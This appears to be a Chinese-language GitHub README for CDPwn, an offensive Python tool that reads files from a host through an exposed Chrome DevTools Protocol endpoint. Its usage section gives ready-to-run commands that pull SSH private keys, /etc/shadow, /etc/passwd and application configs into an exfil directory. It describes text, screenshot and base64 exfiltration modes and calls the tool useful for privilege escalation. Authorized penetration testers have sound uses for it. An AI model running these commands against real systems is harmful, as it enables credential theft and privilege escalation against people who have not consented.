k0x-offsec/CDPwn
GitHub: k0x-offsec/CDPwn
CDPwn 通过暴露的 Chrome DevTools Protocol 端点读取远程文件,帮助安全测试人员在 CDP 以高权限运行时发现并验证权限提升风险。
Stars: 14 | Forks: 4

**CDPwn** 是一个旨在通过暴露的 Chrome DevTools Protocol (CDP) endpoint 渗出文件的 python 脚本 🛡️。当 CDP 服务以高权限运行时,它对于权限提升尤为有用。该脚本利用 `pycdp` 库与 CDP 交互,并使用 `pwn` 库来增强日志记录。
### 它的优势所在 (v2.0)
- **默认使用文本模式**:将完整的文件内容提取为纯文本(而非截图),非常适合密钥、配置文件和源代码
- **多种渗出模式**:`text`、`screenshot` 和 `base64`
- **批量处理**:在单个连接中读取多个文件
- **超时保护**:防止在无响应的 endpoint 上挂起
- **灵活的输出方式**:保存到文件、目录或 stdout
- **更好的错误处理**:优雅的回退机制和信息丰富的提示
## 演示 ✏️
https://github.com/offensive-security-pwncat/CDPwn/assets/125557804/c33e8d8c-7820-4ae9-b11c-6ce022723ac3
## 依赖项 📦
- `argparse`:用于解析命令行参数的标准库。
- `asyncio`:用于处理异步 I/O 操作的标准库。
- `base64`:用于编码和解码二进制数据的标准库。
- `pycdp`:用于与 Chrome DevTools Protocol 交互的第三方库。可在 https://github.com/HMaker/python-cdp 获取。注意:您可能需要修改此库中的 `target.py`,例如将 `can_access_opener=bool(json['canAccessOpener']),` 改为 `can_access_opener=bool(json.get('canAccessOpener',False)),`。
- `pwn`:用于增强屏幕输出的第三方库。
## 命令行参数 💻
`cdpwn.py` 接受以下命令行参数:
| 参数 | 必需 | 描述 |
|----------|----------|-------------|
| `-i, --ip` | ✓ | CDP endpoint 的 IP 地址 |
| `-p, --port` | ✓ | CDP endpoint 的端口 |
| `-f, --file` | ✓ | 要读取的远程文件路径(支持多个) |
| `-m, --mode` | | 渗出模式:`text`(默认)、`screenshot` 或 `base64` |
| `-o, --output` | | 输出文件名/目录(默认为远程文件名)。使用 `-` 打印到 stdout |
| `-d, --delay` | | 截图前等待的秒数(默认:2) |
| `-t, --timeout` | | 连接超时时间(秒)(默认:30) |
| `-v, --verbose` | | 启用详细日志记录 |
## 使用示例 🚀
### 以文本模式(默认)提取 SSH 密钥
```
python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /root/.ssh/id_rsa
# 输出: id_rsa.txt (可读的私钥内容)
```
### 提取多个文件
```
python3 cdpwn.py -i 127.0.0.1 -p 9222 \
-f /root/.ssh/id_rsa /etc/shadow /var/www/app.config \
-o /tmp/exfil/
# 输出: /tmp/exfil/ 中的 id_rsa.txt, shadow.txt, app.config.txt
```
### 读取到 stdout(通过管道传递给其他工具)
```
python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /root/.ssh/id_rsa -o - | wc -l
python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /etc/passwd -o - | grep admin
```
### 为复杂文件捕获截图
```
python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /root/secrets.txt -m screenshot
# 输出: secrets.txt.png
```
### 提取为 base64(为了保证二进制安全)
```
python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /bin/ls -m base64 -o ls.b64
base64 -d ls.b64 > ls
```
### 为慢速系统设置更长的超时时间
```
python3 cdpwn.py -i 192.168.1.100 -p 9222 -f /opt/app/config.xml -t 60 -v
```
## 工作原理
1. **连接到 CDP**:建立与暴露的 Chrome DevTools Protocol endpoint 的连接
2. **创建 target**:打开一个新的空白标签页/窗口
3. **导航到文件**:通过 `file://` 协议加载本地文件
4. **提取内容**:
- **文本模式**(默认):使用 `document.body.innerText` 从 DOM 中拉取完整的文件内容,无论文件大小如何都能正常工作
- **截图模式**:将 Chrome 渲染的内容捕获为 PNG 图像
- **Base64 模式**:将内容编码为 base64,以实现二进制安全传输
5. **保存输出**:按指定方式写入磁盘或 stdout
## 为什么文本模式比截图更好
当您在 Chrome 中通过 `file://` 协议导航到文本文件时,它会在 `
` 元素中渲染该文件。与截图(仅捕获可见的视口)不同: ✓ **文本模式可获取完整文件** — 不会在视口边界处截断 ✓ **适用于任何文件大小** — 1 行或 100,000 行都可以 ✓ **机器可读的输出** — 可通过管道传递给 `grep`、`sed`、`awk` 等 ✓ **无需 OCR** — 直接、准确的内容提取 ✓ **文件体积小** — 文本约为 1KB,而截图约为 100KB+ ## 安全说明 🔒 - 该脚本不会修改远程文件 - 它仅能读取 CDP 进程可以访问的内容(通常仅限于 Chrome 进程的 uid/gid) - 当 CDP 以高权限(例如 root)运行时效果最佳 - 如果 CDP endpoint 通过网络暴露,则网络流量是未加密的 - 请仅在授权的安全测试环境中使用 ## 故障排除 **"Got empty content — may be binary"** → 对于非 UTF8 文件,请尝试使用 `--mode screenshot` 或 `--mode base64` **连接超时** → 使用 `-t 60` 增加超时时间,或检查该 endpoint 是否可访问 **Target 加载失败** → 确保文件路径是绝对路径(例如使用 `/root/.ssh/id_rsa` 而不是 `~/.ssh/id_rsa`) **"Runtime.evaluate failed"** → Chrome 进程可能无法读取该文件。请检查远程系统上的权限 ## 许可证 该项目基于 MIT 许可证授权 - 详情请参阅 LICENSE 文件。
标签:HTTP工具, Python, Web报告查看器, 无后门, 计算机取证, 逆向工具